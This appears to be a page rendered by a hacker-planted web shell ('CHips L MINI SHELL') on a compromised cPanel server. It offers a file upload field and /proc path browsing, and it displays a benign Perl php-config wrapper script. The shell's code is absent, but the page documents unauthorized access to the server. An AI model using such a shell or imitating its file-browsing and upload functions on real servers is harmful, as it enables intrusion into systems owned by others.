CHips L MINI SHELL

CHips L pro

Current Path : /proc/3/task/3/cwd/proc/2/root/proc/3/cwd/scripts/php_sandbox/
Upload File :
Current File : //proc/3/task/3/cwd/proc/2/root/proc/3/cwd/scripts/php_sandbox/php-config

#!/usr/local/cpanel/3rdparty/bin/perl

$ENV{'LANG'} = 'C';

my @paths   = grep( !/php_sandbox/, split( /:/, $ENV{'PATH'} ) );
my $homedir = ( getpwuid($>) )[7];

foreach my $path (@paths) {
    next if ( $path =~ /sandbox/i );
    if ( -x $path . '/' . 'php-config' ) {
        if ( grep( /--prefix/, @ARGV ) ) {
            print "$homedir/php";
            exit();
        }
        if ( grep( /--extension-dir/, @ARGV ) ) {
            print "$homedir/php/ext";
            exit();
        }
        exec( $path . '/' . 'php-config', @ARGV );
    }
}
die "php-config not found";

Copyright 2K16 - 2K18 Indonesian Hacker Rulez